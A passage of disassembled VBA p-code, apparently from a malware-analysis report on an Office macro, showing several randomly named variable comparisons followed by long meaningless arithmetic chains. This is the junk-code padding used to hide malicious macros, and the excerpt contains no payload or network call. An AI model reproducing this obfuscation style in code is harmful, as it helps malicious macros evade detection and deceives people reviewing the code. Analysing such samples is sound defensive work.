' Line #56:
' 	Ld HDCBGAA 
' 	Ld bXAQDA1 
' 	Eq 
' 	IfBlock 
' Line #57:
' 	LineCont 0x0010 02 00 00 00 09 00 00 00 14 00 00 00 20 00 00 00
' 	Ld LAAD4x 
' 	Ld EAAAD__A 
' 	ArgsLd Asc 0x0001 
' 	Div 
' 	Ld NQAAXDA 
' 	LitDI4 0x38D6 0x30ED 
' 	Coerce (Dbl) 
' 	Mul 
' 	Ld IB4UAkA 
' 	Div 
' 	LitDI4 0xCE5E 0x01A3 
' 	Ld XAXACxD 
' 	ArgsLd Log 0x0001 
' 	Mul 
' 	Coerce (Var) 
' 	Mul 
' 	Ld BAAUAoAA 
' 	Div 
' 	LitDI4 0xF483 0x3746 
' 	ArgsLd Rnd 0x0001 
' 	Mul 
' 	LitDI4 0x3115 0x064B 
' 	Mul 
' 	Ld zAAAAAZ 
' 	LitDI4 0x643C 0x24E9 
' 	ArgsLd Log 0x0001 
' 	Div 
' 	FnSgn 
' 	Mul 
' 	Sub 
' 	St ZAAUUk 
' Line #58:
' 	EndIfBlock 
' Line #59:
' 	Ld hAAB_D 
' 	Ld UCkAZC 
' 	Eq 
' 	IfBlock 
' Line #60:
' 	LineCont 0x0010 02 00 00 00 09 00 00 00 14 00 00 00 20 00 00 00
' 	Ld O4owAk1w 
' 	Ld TAUAQ_ 
' 	ArgsLd Asc 0x0001 
' 	Div 
' 	Ld q1cAACG 
' 	LitDI4 0xE5CD 0x1390 
' 	Coerce (Dbl) 
' 	Mul 
' 	Ld vAAABA 
' 	Div 
' 	LitDI4 0x4154 0x2870 
' 	Ld MX1x_1G 
' 	ArgsLd Log 0x0001 
' 	Mul 
' 	Coerce (Var) 
' 	Mul 
' 	Ld rwQUAAQ 
' 	Div 
' 	LitDI4 0xFC5A 0x0D07 
' 	ArgsLd Rnd 0x0001 
' 	Mul 
' 	LitDI4 0x52E4 0x0641 
' 	Mul 
' 	Ld z_AQAQDC 
' 	LitDI4 0x8DCB 0x2F5F 
' 	ArgsLd Log 0x0001 
' 	Div 
' 	FnSgn 
' 	Mul 
' 	Sub 
' 	St jQZAAD1B 
' Line #61:
' 	EndIfBlock 
' Line #62:
' 	Ld TxCwB1 
' 	Ld JGQUQQ 
' 	Eq 
' 	IfBlock 
' Line #63:
' 	LineCont 0x0010 02 00 00 00 09 00 00 00 14 00 00 00 20 00 00 00
' 	Ld RGAAUZQ 
' 	Ld VAAAAAD 
' 	ArgsLd Asc 0x0001 
' 	Div 
' 	Ld jUXACwG 
' 	LitDI4 0x9665 0x3366 
' 	Coerce (Dbl) 
' 	Mul 
' 	Ld ZAADBc 
' 	Div 
' 	LitDI4 0x1EB0 0x2AA7 
' 	Ld vU_GkoAk 
' 	ArgsLd Log 0x0001 
' 	Mul 
' 	Coerce (Var) 
' 	Mul 
' 	Ld VUAQGA 
' 	Div 
' 	LitDI4 0x8498 0x03C3 
' 	ArgsLd Rnd 0x0001 
' 	Mul 
' 	LitDI4 0xE5D8 0x04EE 
' 	Mul 
' 	Ld aUk_Aw 
' 	LitDI4 0xF78A 0x0FE5 
' 	ArgsLd Log 0x0001 
' 	Div 
' 	FnSgn 
' 	Mul 
' 	Sub 
' 	St R1cAkA 
' Line #64:
' 	EndIfBlock 
' Line #65:
…

Open this report in the interactive analyzer, or submit your own file for analysis.